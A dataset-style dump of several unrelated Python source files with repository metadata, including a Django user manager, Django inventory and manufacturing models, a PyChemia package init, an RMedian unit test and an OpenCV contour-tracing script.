99f78b44d998e9fd68c5145c5184e776015a4e3f | 1,098 | py | Python | acxDataProcessor/utils/DsapiParams.py | etbrow/dsapi-hashed-pii-example | 9d6bb367c82173ece97b587d5498f24964dadce1 | [
"MIT"
] | 1 | 2021-02-11T23:16:05.000Z | 2021-02-11T23:16:05.000Z | acxDataProcessor/utils/DsapiParams.py | etbrow/dsapi-hashed-pii-example | 9d6bb367c82173ece97b587d5498f24964dadce1 | [
"MIT"
] | null | null | null | acxDataProcessor/utils/DsapiParams.py | etbrow/dsapi-hashed-pii-example | 9d6bb367c82173ece97b587d5498f24964dadce1 | [
"MIT"
] | 2 | 2021-02-12T13:40:17.000Z | 2022-02-21T08:07:56.000Z | class DsapiParams:
def __init__(self, limit=1, bundles = [], role=None, tenant=None, format = 'json'):
self.limit = limit
self.bundles = bundles
self.role = role
self.tenant = tenant
self.format = format
def formatForRequest(self):
formattedString = '?'
numParams = 0
if self.limit:
formattedString += 'limit=' + str(self.limit)
numParams += 1
if self.bundles:
if numParams >= 1:
formattedString += '&'
formattedString += 'bundle=' + ','.join(self.bundles)
if self.role:
if numParams >= 1:
formattedString += '&'
formattedString += 'role=' + self.role
if self.tenant:
if numParams >= 1:
formattedString += '&'
formattedString += 'tenant=' + self.tenant
if self.format:
if numParams >= 1:
formattedString += '&'
formattedString += 'format=' + self.format
return formattedString | 27.45 | 87 | 0.500911 | 92 | 1,098 | 5.934783 | 0.23913 | 0.054945 | 0.087912 | 0.197802 | 0.307692 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010401 | 0.387067 | 1,098 | 40 | 88 | 27.45 | 0.800892 | 0 | 0 | 0.266667 | 0 | 0 | 0.038217 | 0 | 0.033333 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
82057f6d4aa9a37f5569d8b86010cd7634ed207a | 1,534 | py | Python | data/data_structures.py | BrancoLab/LocomotionControl | 6dc16c29c13b31f6ad70af954a237e379ee10846 | [
"MIT"
] | null | null | null | data/data_structures.py | BrancoLab/LocomotionControl | 6dc16c29c13b31f6ad70af954a237e379ee10846 | [
"MIT"
] | 2 | 2020-11-23T16:32:11.000Z | 2020-11-23T16:32:11.000Z | data/data_structures.py | BrancoLab/LocomotionControl | 6dc16c29c13b31f6ad70af954a237e379ee10846 | [
"MIT"
] | null | null | null | import pandas as pd
from dataclasses import dataclass
import numpy as np
from collections import namedtuple
@dataclass
class TrackingData:
bp: str
x: np.ndarray
y: np.ndarray
bp_speed: np.ndarray
speed: np.ndarray = None
acceleration: np.ndarray = None
orientation: np.ndarray = None
angular_velocity: np.ndarray = None
angular_acceleration: np.ndarray = None
theta: np.ndarray = None
thetadot: np.ndarray = None
thetadotdot: np.ndarray = None
segment: np.ndarray = None
global_coord: np.ndarray = None
_columns: list = None
@classmethod
def from_dataframe(cls, tracking: pd.DataFrame) -> namedtuple:
"""
Given a datraframe with tracking data for many
body parts, return a dictionary of instances of TrackingData
"""
columns = [
c
for c in list(tracking.columns)
if c not in ["mouse_id", "name", "bpname"]
]
data = {}
for bp in tracking.bpname:
bptracking = tracking.loc[tracking.bpname == bp].iloc[0]
data[bp] = TrackingData(
bp,
**{col: bptracking[col] for col in columns},
_columns=columns + ["bp"],
)
tpl = namedtuple("tracking", ", ".join(tracking.bpname))
return tpl(*data.values())
def to_dict(self):
if self._columns is None:
raise ValueError
else:
return {c: getattr(self, c) for c in self._columns}
| 28.943396 | 72 | 0.589961 | 179 | 1,534 | 4.994413 | 0.413408 | 0.130872 | 0.145414 | 0.055928 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.000956 | 0.318123 | 1,534 | 52 | 73 | 29.5 | 0.853728 | 0.069752 | 0 | 0 | 0 | 0 | 0.021629 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046512 | false | 0 | 0.093023 | 0 | 0.55814 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
820769d8cbca46aadeaef8a6c1a4093e4780c646 | 2,626 | py | Python | tests/phase1_test.py | jfklorenz/Python-RMedian | 8c490e003459e94b73fa2a4f51019d880dbb80b2 | [
"MIT"
] | 1 | 2020-10-27T19:58:31.000Z | 2020-10-27T19:58:31.000Z | tests/phase1_test.py | jfklorenz/RMedian-Algorithm | 8c490e003459e94b73fa2a4f51019d880dbb80b2 | [
"MIT"
] | null | null | null | tests/phase1_test.py | jfklorenz/RMedian-Algorithm | 8c490e003459e94b73fa2a4f51019d880dbb80b2 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
# ==================================================
"""
File: RMedian - Unittest - Phase 1
Author: Julian Lorenz
"""
# ==================================================
# Import
import math
import random
import pytest
# ==================================================
# Phase 1
def phase1(X, k, d):
# Initiation
n = len(X)
random.shuffle(X)
S = X[:k]
XS = X[k:]
S.sort()
# Keeping the list entries below k/2
if 2*(k*math.log2(n))**0.5 < k/2:
lst = [2*(k*math.log2(n))**0.5]
if 3*(k*math.log2(n))**0.5 < k/2:
lst.append(3*(k*math.log2(n))**0.5)
while d*lst[len(lst) - 1] < k/2:
lst.append(d*lst[len(lst) - 1])
lst.append(k/2)
else:
lst = [k/2]
# Buckets
L = [[] for _ in range(len(lst) - 1)]
R = [[] for _ in range(len(lst) - 1)]
C = []
for s in S[math.floor(k / 2 - lst[0]): math.ceil(k / 2 + lst[0])]:
C.append(s)
for i in range(1, len(lst)):
for s in S[math.floor(k / 2 - lst[i]): math.floor(k / 2 - lst[i - 1])]:
L[i - 1].append(s)
for s in S[math.ceil(k / 2 + lst[i - 1]): math.ceil(k / 2 + lst[i])]:
R[i - 1].append(s)
return S, XS, L, C, R
# ==================================================
# Unittest : Parameter
@pytest.mark.parametrize(('n'), [
# Randomized input
random.randint(2**9, 2**15),
# Manuel input
2**10, 2**12, 2**14, 2**12 + 1, 2**12 - 1
])
# ==================================================
# Unittest : Test
def test_p1(n):
# Generating Tastcase
X0 = [i for i in range(n)]
k0 = int(n ** (2 / 3))
d0 = int(n ** (1 / 12))
S0, XS0, L0, C0, R0 = phase1(X0, k0, d0)
X1 = [i for i in range(n)]
k1 = int(n / math.log(n, 2)**(1/3))
d1 = int(math.log(n, 2)**(1/3))
S1, XS1, L1, C1, R1 = phase1(X1, k1, d1)
sumL0, sumR0, sumL1, sumR1 = 0, 0, 0, 0
for l0 in L0:
sumL0 += len(l0)
for l1 in L1:
sumL1 += len(l1)
for r0 in R0:
sumR0 += len(r0)
for r1 in R1:
sumR1 += len(r1)
# Test
assert sumL0 == sumR0 # ||L|| = ||R||
assert sumL1 == sumR1 # ||L|| = ||R||
assert len(L0) == len(R0) # |L| = |R|
assert len(L1) == len(R1) # |L| = |R|
assert sumL0 + len(C0) + sumR0 == k0 # |L| + |C| + |R| = k
assert sumL1 + len(C1) + sumR1 == k1 # |L| + |C| + |R| = k
return
# ==================================================
| 26.795918 | 79 | 0.392232 | 376 | 2,626 | 2.731383 | 0.244681 | 0.023369 | 0.043817 | 0.038948 | 0.266796 | 0.223953 | 0.101266 | 0.074002 | 0.074002 | 0 | 0 | 0.078947 | 0.319878 | 2,626 | 97 | 80 | 27.072165 | 0.496081 | 0.247906 | 0 | 0 | 0 | 0 | 0.000514 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 1 | 0.034483 | false | 0 | 0.051724 | 0 | 0.12069 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
820cd6881da500183d8e03a45a3245bddb2db4af | 4,363 | py | Python | pychemia/__init__.py | quanshengwu/PyChemia | 98e9f7a1118b694dbda3ee75411ff8f8d7b9688b | [
"MIT"
] | 1 | 2021-03-26T12:34:45.000Z | 2021-03-26T12:34:45.000Z | pychemia/__init__.py | quanshengwu/PyChemia | 98e9f7a1118b694dbda3ee75411ff8f8d7b9688b | [
"MIT"
] | null | null | null | pychemia/__init__.py | quanshengwu/PyChemia | 98e9f7a1118b694dbda3ee75411ff8f8d7b9688b | [
"MIT"
] | null | null | null | """
PyChemia is a python library for automatize atomistic-level calculations. The library provide an API to manipulate
structures, store structures and properties in a Mongo database, search for new structures of a given composition,
interact with several atomistic simulation codes and visualize atomistic-related data
"""
from __future__ import print_function
__author__ = "Guillermo Avendano-Franco"
__copyright__ = "Copyright 2016"
__version__ = "0.1.2"
__email__ = "gtux.gaf@gmail.com"
__status__ = "Development"
__date__ = "May 13, 2016"
try:
import scipy
HAS_SCIPY = True
except ImportError:
# print("Library 'scipy' could not be found, several places of the code will be disabled")
HAS_SCIPY = False
try:
try:
import spglib as spg
except ImportError:
from pyspglib import spglib as spg
HAS_SPGLIB = True
except ImportError:
HAS_SPGLIB = False
import sys
try:
import matplotlib
HAS_MATPLOTLIB = True
if 'matplotlib' not in sys.modules:
matplotlib.use('agg')
except ImportError:
# print("Library 'matplotlib' could not be found, disabling visual functionality")
HAS_MATPLOTLIB = False
try:
import pyhull
HAS_PYHULL = True
except ImportError:
#print("Library 'pyhull' could not be found")
HAS_PYHULL = False
try:
import networkx
HAS_NETWORKX = True
except ImportError:
#print("Library 'networkx' could not be found, disabling pychemia.dm.NetworkAnalysis")
HAS_NETWORKX = False
try:
import Scientific
HAS_SCIENTIFIC = True
except ImportError:
#print("Library 'Scientific' could not be found")
HAS_SCIENTIFIC = False
try:
import pymongo
if pymongo.version_tuple[0] < 3:
#print("Library 'pymongo' its too old, disabling pychemia.db.PyChemiaDB")
HAS_PYMONGO = False
else:
HAS_PYMONGO = True
except ImportError:
pymongo = None
#print("Library 'pymongo' could not be found, disabling pychemia.db.PyChemiaDB")
HAS_PYMONGO = False
try:
import gridfs
HAS_GRIDFS = True
except ImportError:
gridfs = None
#print("Library 'gridfs' could not be found, disabling pychemia.db.PyChemiaQueue")
HAS_GRIDFS = False
try:
import ase
HAS_ASE = True
except ImportError:
#print("Library 'ase' could not be found, disabling pychemia.external.ase")
HAS_ASE = False
try:
import pymatgen
HAS_PYMATGEN = True
except ImportError:
#print("Library 'pymatgen' could not be found, disabling pychemia.external.pymatgen")
HAS_PYMATGEN = False
import logging
pcm_log = logging.getLogger(__name__)
pcm_log.addHandler(logging.NullHandler())
from .core import Structure, Composition
from . import analysis
from . import db
from . import crystal
from . import io
from . import runner
from . import searcher
from . import utils
from . import web
from . import code
from . import population
from .core.from_file import structure_from_file
from pychemia.crystal import samples
def info():
"""
Show basic information about PyChemia, its location and version.
Also information about other libraries used by PyChemia
both mandatory and optional
"""
print('PyChemia\n--------\n')
print('Version: ' + __version__)
print('Path: ' + __path__[0])
print('Date: ' + __date__)
print()
import sys
print('Python version=' + sys.version + '\n')
try:
mm = __import__('pymongo')
print('%10s %10s %s' % ('pymongo', mm.version, mm.__path__[0]))
except ImportError:
print('pymongo Not Found')
for modui in ['numpy', 'scipy', 'mayavi', 'Scientific', 'matplotlib',
'future', 'nose', 'coverage', 'spglib', 'pyhull', 'pymatgen', 'qmpy', ]:
try:
mm = __import__(modui)
print('%10s %10s %s' % (modui, mm.__version__, mm.__path__[0]))
except ImportError:
print('%10s %10s Not Found' % (modui, ''))
try:
import ase
from ase import version as ase_version
print('%10s %10s %s' % ('ase', ase_version.version_base, ase.__path__[0]))
except ImportError:
print('%10s %10s Not Found' % ('ase', ''))
class Version:
@staticmethod
def full_version():
return 'PyChemia Version=' + __version__ + ' from=' + __date__
def __init__(self):
pass
| 25.51462 | 114 | 0.674307 | 531 | 4,363 | 5.329567 | 0.305085 | 0.084099 | 0.077739 | 0.047703 | 0.225442 | 0.134276 | 0.122968 | 0.04629 | 0.028975 | 0 | 0 | 0.011593 | 0.228971 | 4,363 | 170 | 115 | 25.664706 | 0.829667 | 0.277332 | 0 | 0.293103 | 0 | 0 | 0.122147 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025862 | false | 0.008621 | 0.396552 | 0.008621 | 0.439655 | 0.112069 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
820cf75d4b3f5980c0f2063a6d5d3723959d1b88 | 958 | py | Python | maasaic/apps/users/managers.py | fceruti/maasaic | 4536c102301fa9575d9bcb29ec0d2332ad6780ba | [
"MIT"
] | null | null | null | maasaic/apps/users/managers.py | fceruti/maasaic | 4536c102301fa9575d9bcb29ec0d2332ad6780ba | [
"MIT"
] | null | null | null | maasaic/apps/users/managers.py | fceruti/maasaic | 4536c102301fa9575d9bcb29ec0d2332ad6780ba | [
"MIT"
] | null | null | null | from django.contrib.auth.models import BaseUserManager
class UserManager(BaseUserManager):
"""
A custom user manager to deal with emails as unique identifiers for auth
instead of usernames. The default that's used is "UserManager"
"""
def create_user(self, username, email, password, **extra_fields):
"""
Creates and saves a User with the given email and password.
"""
if email:
email = self.normalize_email(email.lower())
else:
email = None
user = self.model(username=username, email=email, **extra_fields)
user.set_password(password)
user.save()
return user
def create_superuser(self, email, password, **extra_fields):
extra_fields.setdefault('is_superuser', True)
return self.create_user(email, email, password, **extra_fields)
def get_by_natural_key(self, username):
return self.get(username=username)
| 34.214286 | 76 | 0.661795 | 116 | 958 | 5.344828 | 0.5 | 0.08871 | 0.087097 | 0.116129 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.246347 | 958 | 27 | 77 | 35.481481 | 0.858726 | 0.203549 | 0 | 0 | 0 | 0 | 0.016667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1875 | false | 0.25 | 0.0625 | 0.0625 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
82158af77ddcb6b3f44630f4f3d88bbb57c99820 | 793 | py | Python | bin/Lib/test/test_asyncio/__init__.py | yousafsyed/casperjs | ed077ae9e42cf8fb9e023e9b6840d3cea11bac40 | [
"MIT"
] | 36 | 2015-02-04T10:43:31.000Z | 2022-03-30T13:01:12.000Z | bin/Lib/test/test_asyncio/__init__.py | yousafsyed/casperjs | ed077ae9e42cf8fb9e023e9b6840d3cea11bac40 | [
"MIT"
] | 9 | 2015-03-17T05:56:16.000Z | 2021-11-17T09:31:50.000Z | bin/Lib/test/test_asyncio/__init__.py | yousafsyed/casperjs | ed077ae9e42cf8fb9e023e9b6840d3cea11bac40 | [
"MIT"
] | 22 | 2015-05-13T17:37:35.000Z | 2022-01-25T06:24:42.000Z | import os
import sys
import unittest
from test.support import run_unittest, import_module
# Skip tests if we don't have threading.
import_module('threading')
# Skip tests if we don't have concurrent.futures.
import_module('concurrent.futures')
def suite():
tests = unittest.TestSuite()
loader = unittest.TestLoader()
for fn in os.listdir(os.path.dirname(__file__)):
if fn.startswith("test") and fn.endswith(".py"):
mod_name = 'test.test_asyncio.' + fn[:-3]
try:
__import__(mod_name)
except unittest.SkipTest:
pass
else:
mod = sys.modules[mod_name]
tests.addTests(loader.loadTestsFromModule(mod))
return tests
def test_main():
run_unittest(suite())
| 26.433333 | 63 | 0.631778 | 97 | 793 | 4.979381 | 0.505155 | 0.074534 | 0.045549 | 0.05383 | 0.086957 | 0.086957 | 0.086957 | 0 | 0 | 0 | 0 | 0.001715 | 0.264817 | 793 | 29 | 64 | 27.344828 | 0.826758 | 0.108449 | 0 | 0 | 0 | 0 | 0.073864 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.045455 | 0.318182 | 0 | 0.454545 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
821f9c4ee53b4e67fe7293e0648f1d824408b3f9 | 4,298 | py | Python | trace/trace.py | slash-segmentation/DP2 | 6f768e4b8a75a3ab2bf1359ae94704332426a4d6 | [
"Unlicense"
] | null | null | null | trace/trace.py | slash-segmentation/DP2 | 6f768e4b8a75a3ab2bf1359ae94704332426a4d6 | [
"Unlicense"
] | null | null | null | trace/trace.py | slash-segmentation/DP2 | 6f768e4b8a75a3ab2bf1359ae94704332426a4d6 | [
"Unlicense"
] | null | null | null | from data_viewer import *
from volume3d_util import *
from contour_processing import *
import cv
from best_path import *
inputStack = "o:\\images\\neuropil\\seg"
outputFolder = "o:\\trace_output"
box = Box()
box.cornerA = [0, 0, 200]
box.cornerB = [700, 500, 210]
v = loadImageStack(inputStack, box)
writeStack(outputFolder, v)
s = v.shape
print "shape", s
binaryImage = cv.CreateImage((s[0], s[1]), 8, 1)
contoursImage = cv.CreateImage((s[0], s[1]), 8, 3)
cv.SetZero(binaryImage)
def toOpenCV(array):
s = array.shape
openCVImage = cv.CreateImage((s[0], s[1]), 8, 1)
for i in range(0, s[0]):
for j in range(0, s[1]):
openCVImage[j, i] = array[i, j]
return openCVImage
for i in range(0, s[0]):
for j in range(0, s[1]):
if v[i, j, 0] < 128:
binaryImage[j, i] = 1
else:
binaryImage[j, i] = 0
storage = cv.CreateMemStorage(0)
contours1 = cv.FindContours(binaryImage, storage, cv.CV_RETR_LIST, cv.CV_CHAIN_APPROX_SIMPLE, (0,0))
contours = contour_iterator(contours1)
def rectCenter(openCVRect):
rect = openCVRect
rect = cv.BoundingRect(contour)
#print rect
x = (rect[0] + rect[2]/2.0)
y = (rect[1] + rect[3]/2.0)
return (x, y)
#print contours1.h_next()
print "draw contours"
cv.DrawContours(contoursImage, contours1, (0,0,255,0), (0,255,0,0), 3, 1, cv.CV_AA, (0,0))
for contour in contours:
center = rectCenter(contour)
cv.Circle(contoursImage, center, 5, (0,255,255,0))
def makeGraph(volume):
graph = {}
step = [10, 10, 1]
volumeSize = volume.shape
limit = [None, None, None]
for coordinate in range(0, 3):
limit[coordinate] = volumeSize[coordinate]/step[coordinate]
for x in range(0, limit[0]):
for y in range(0, limit[1]):
for z in range(0, limit[2]):
volx = x * step[0]
voly = y * step[1]
volz = z * step[2]
graph[(x,y,z)] = {}
if x != limit[0]-1:
graph[(x,y,z)][(x+1,y,z)] = volume[volx+step[0],voly,volz]
if x != 0:
graph[(x,y,z)][(x-1,y,z)] = volume[volx-step[0],voly,volz]
if y != limit[1]-1:
graph[(x,y,z)][(x,y+1,z)] = volume[volx,voly+step[1],volz]
if y != 0:
graph[(x,y,z)][(x,y-1,z)] = volume[volx,voly-step[1],volz]
if z != limit[2]-1:
graph[(x,y,z)][(x,y,z+1)] = volume[volx,voly,volz+step[2]]
if z != 0:
graph[(x,y,z)][(x,y,z-1)] = volume[volx,voly,volz-step[2]]
"""
for x in range(0+xStep, volumeSize[0]-xStep, xStep):
for y in range(0+yStep, volumeSize[1]-yStep, yStep):
for z in range(0+1, volumeSize[2]-1):
graph[(x,y,z)] = {}
graph[(x,y,z)][(x+xStep,y,z)] = volume[x+xStep,y,z]
graph[(x,y,z)][(x-xStep,y,z)] = volume[x-xStep,y,z]
graph[(x,y,z)][(x,y+yStep,z)] = volume[x,y+yStep,z]
graph[(x,y,z)][(x,y-yStep,z)] = volume[x,y-yStep,z]
graph[(x,y,z)][(x,y,z+1)] = volume[x,y,z+1]
graph[(x,y,z)][(x,y,z-1)] = volume[x,y,z-1]
"""
return graph
graph = makeGraph(v)
path = shortestPath1(graph, (10, 10, 1), (10, 10, 8))
print path
cv.ShowImage("contours", contoursImage)
pointsGroupedByZ = {}
for point in path:
z = point[2]
#print point
if not(z in pointsGroupedByZ):
pointsGroupedByZ[z] = []
pointsGroupedByZ[z].append(point)
print pointsGroupedByZ
# for each slice, show the path points
for z in range(0, 10):
# create image
#sliceImage = cv.CreateImage((s[0], s[1]), 8, 3)
sliceImage = toOpenCV(v[:,:,z])
# plot points for this slice
if z in pointsGroupedByZ:
for point in pointsGroupedByZ[z]:
#print point
cv.Circle(sliceImage, (point[0], point[1]), 6, (0,255,0,0))
# write slice to file
fileName = os.path.join(outputFolder, "path%03d.png" % z)
print fileName
cv.SaveImage(fileName, sliceImage)
cv.SaveImage(os.path.join(outputFolder, "output.png"), contoursImage)
#cv.WaitKey(0)
# find contour centers for all seed points
# connect the centers with dijkstra
| 27.729032 | 100 | 0.557236 | 658 | 4,298 | 3.620061 | 0.196049 | 0.02267 | 0.025189 | 0.047019 | 0.263224 | 0.222922 | 0.218304 | 0.217045 | 0.185139 | 0.185139 | 0 | 0.051274 | 0.269428 | 4,298 | 154 | 101 | 27.909091 | 0.707325 | 0.067008 | 0 | 0.043956 | 0 | 0 | 0.026292 | 0.007386 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.054945 | null | null | 0.054945 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
822372b75d8fbe9ac2e0ba209d3d7cc13b9ea07d | 12,169 | py | Python | mrp_system/models.py | mgeorge8/django_time | f75a442941b0ebbb6cc46a6d18e42b91695b7e57 | [
"MIT"
] | 1 | 2018-11-09T02:09:14.000Z | 2018-11-09T02:09:14.000Z | mrp_system/models.py | mgeorge8/django_time | f75a442941b0ebbb6cc46a6d18e42b91695b7e57 | [
"MIT"
] | null | null | null | mrp_system/models.py | mgeorge8/django_time | f75a442941b0ebbb6cc46a6d18e42b91695b7e57 | [
"MIT"
] | null | null | null | from django.db import models
import datetime
#from django.contrib.sites.models import Site
class Vendor(models.Model):
TYPE_CHOICES = (
('manufacturer', 'manufacturer'),
('distributor', 'distributor'),
)
name = models.CharField(max_length=128, unique=True)
vendor_type = models.CharField(max_length=12, choices=TYPE_CHOICES,
default='manufacturer')
address = models.CharField(max_length=300, blank=True)
phone = models.CharField(max_length=10, blank=True)
web_address = models.CharField(max_length=300, blank=True)
#purchase_order = models.ForeignKey('mrp_system.PurchaseOrder', on_delete=models.CASCADE,
#null=True, blank=True)
def __str__(self):
return self.name
class Location(models.Model):
name = models.CharField(max_length=100, unique=True)
def __str__(self):
return self.name
#used to track different part types
class Type(models.Model):
name = models.CharField(max_length=100, unique=True)
prefix = models.CharField(max_length=4)
def __str__(self):
return self.name
#names of fields for each part type tracked with field model
class Field(models.Model):
FIELD_CHOICES = (
('char1', 'Character 1'),
('char2', 'Character 2'),
('char3', 'Character 3'),
('char4', 'Character 4'),
('char5', 'Character 5'),
('char6', 'Character 6'),
('char7', 'Character 7'),
('char8', 'Character 8'),
('char9', 'Character 9'),
('char10', 'Character 10'),
('char11', 'Character 11'),
('char12', 'Character 12'),
('char13', 'Character 13'),
('char14', 'Character 14'),
('char15', 'Character 15'),
('char16', 'Character 16'),
('char17', 'Character 17'),
('char18', 'Character 18'),
('char19', 'Character 19'),
('char20', 'Character 20'),
('char21', 'Character 21'),
('char22', 'Character 22'),
('char23', 'Character 23'),
('char24', 'Character 24'),
('char25', 'Character 25'),
('char26', 'Character 26'),
('char27', 'Character 27'),
('char28', 'Character 28'),
('char29', 'Character 29'),
('char30', 'Character 30'),
('char31', 'Character 31'),
('char32', 'Character 32'),
('char33', 'Character 33'),
('char34', 'Character 34'),
('char35', 'Character 35'),
)
name = models.CharField(max_length=50)
fields = models.CharField(max_length=50, choices=FIELD_CHOICES)
typePart = models.ForeignKey(Type, on_delete=models.CASCADE, related_name="field", null=True)
class Part(models.Model):
#used to keep track of part type and fields
partType = models.ForeignKey(Type, on_delete=models.CASCADE, related_name="part")
engimusingPartNumber = models.CharField(max_length=30, editable=False)
description = models.CharField(max_length=300, blank=True)
location = models.ManyToManyField(Location, through='LocationRelationship')
manufacturer = models.ManyToManyField(Vendor,
through='ManufacturerRelationship')
#all of the fields that could be tracked for a part type
char1 = models.CharField(max_length=100, blank=True)
char2 = models.CharField(max_length=100, blank=True)
char3 = models.CharField(max_length=100, blank=True)
char4 = models.CharField(max_length=100, blank=True)
char5 = models.CharField(max_length=100, blank=True)
char6 = models.CharField(max_length=100, blank=True)
char7 = models.CharField(max_length=100, blank=True)
char8 = models.CharField(max_length=100, blank=True)
char9 = models.CharField(max_length=100, blank=True)
char10 = models.CharField(max_length=100, blank=True)
char11 = models.CharField(max_length=100, blank=True)
char12 = models.CharField(max_length=100, blank=True)
char13 = models.CharField(max_length=100, blank=True)
char14 = models.CharField(max_length=100, blank=True)
char15 = models.CharField(max_length=100, blank=True)
char16 = models.CharField(max_length=100, blank=True)
char17 = models.CharField(max_length=100, blank=True)
char18 = models.CharField(max_length=100, blank=True)
char19 = models.CharField(max_length=100, blank=True)
char20 = models.CharField(max_length=100, blank=True)
char21 = models.CharField(max_length=100, blank=True)
char22 = models.CharField(max_length=100, blank=True)
char23 = models.CharField(max_length=100, blank=True)
char24 = models.CharField(max_length=100, blank=True)
char25 = models.CharField(max_length=100, blank=True)
char26 = models.CharField(max_length=100, blank=True)
char27 = models.CharField(max_length=100, blank=True)
char28 = models.CharField(max_length=100, blank=True)
char29 = models.CharField(max_length=100, blank=True)
char30 = models.CharField(max_length=100, blank=True)
char31 = models.CharField(max_length=100, blank=True)
char32 = models.CharField(max_length=100, blank=True)
char33 = models.CharField(max_length=100, blank=True)
char34 = models.CharField(max_length=100, blank=True)
char35 = models.CharField(max_length=100, blank=True)
datasheet = models.FileField(upload_to='documents/', blank=True)
def __str__(self):
return '%s - %s' % (self.engimusingPartNumber, self.description)
#can call these 4 functions from template to get related fields
def get_location(self):
if self.location:
return [LocationRelationship.location.name for LocationRelationship
in self.locationrelationship_set.order_by('id')]
def get_stock(self):
if self.location:
return [LocationRelationship for LocationRelationship in
self.locationrelationship_set.order_by('id')]
def get_manufacturers(self):
if self.manufacturer:
return [manufacturer.name for manufacturer in self.manufacturer.all()]
def get_related(self):
if self.manufacturer:
return [str(ManufacturerRelationship.partNumber) for ManufacturerRelationship
in self.manufacturerrelationship_set.all()] #.objects.get(part=self)])
#auto assign engimusingPartNumber with prefix and auto incremented number
def save(self, *args, **kwargs):
if not self.id:
partType = self.partType
self.engimusingPartNumber = increment_engi_partnumber(partType)
super().save(*args, **kwargs)
def increment_engi_partnumber(partType):
#get greatest part number
last_id = Part.objects.filter(partType=partType).order_by('engimusingPartNumber').last()
prefix = partType.prefix
#if no parts yet
if not last_id:
return prefix + '000001'
length = len(prefix)
partNumber = int(last_id.engimusingPartNumber[length:10])
new_partNumber = partNumber + 1
new_engi_partNumber = prefix + str(new_partNumber).zfill(6)
return new_engi_partNumber
class ManufacturerRelationship(models.Model):
part = models.ForeignKey(Part, on_delete=models.CASCADE)
manufacturer = models.ForeignKey(Vendor, on_delete=models.CASCADE,
limit_choices_to={'vendor_type': 'manufacturer'},)
partNumber = models.CharField(max_length=40, blank=True)
class LocationRelationship(models.Model):
part = models.ForeignKey(Part, on_delete=models.CASCADE)
location = models.ForeignKey(Location, on_delete=models.CASCADE)
stock = models.IntegerField(blank=True, null=True)
class Product(models.Model):
engimusing_product_number = models.CharField(max_length=50, blank=True)
description = models.CharField(max_length=100, blank=True)
url = models.CharField(max_length=500, blank=True)
location = models.ManyToManyField(Location, through='ProductLocation')
part = models.ManyToManyField(Part, through='PartAmount')
#sub products, must not be symmetrical for relationship to be onesided
component_product = models.ManyToManyField('self', symmetrical=False,
through='ProductAmount',
through_fields=('from_product', 'to_product'),)
def __str__(self):
return str(self.description)
def get_stock(self):
if self.location:
return [ProductLocation for ProductLocation in
self.productlocation_set.order_by('id')]
class PartAmount(models.Model):
part = models.ForeignKey(Part, on_delete=models.CASCADE)
product = models.ForeignKey(Product, on_delete=models.CASCADE)
amount = models.IntegerField(blank=True, null=True, default=1)
class ProductAmount(models.Model):
from_product = models.ForeignKey(Product, related_name='from_product', on_delete=models.CASCADE)
to_product = models.ForeignKey(Product, related_name='to_product', on_delete=models.CASCADE)
amount = models.IntegerField(blank=True, null=True, default=1)
class ProductLocation(models.Model):
product = models.ForeignKey(Product, on_delete=models.CASCADE)
location = models.ForeignKey(Location, on_delete=models.CASCADE)
stock = models.IntegerField(blank=True, null=True)
class ManufacturingOrder(models.Model):
product = models.ManyToManyField(Product, through='MOProduct')
number = models.CharField(max_length=50)
date_created = models.DateTimeField(auto_now_add=True)
def __str__(self):
return self.number
class MOProduct(models.Model):
manufacturing_order = models.ForeignKey(ManufacturingOrder, on_delete=models.CASCADE)
product = models.ForeignKey(Product, on_delete=models.CASCADE)
amount = models.IntegerField(blank=True, null=True)
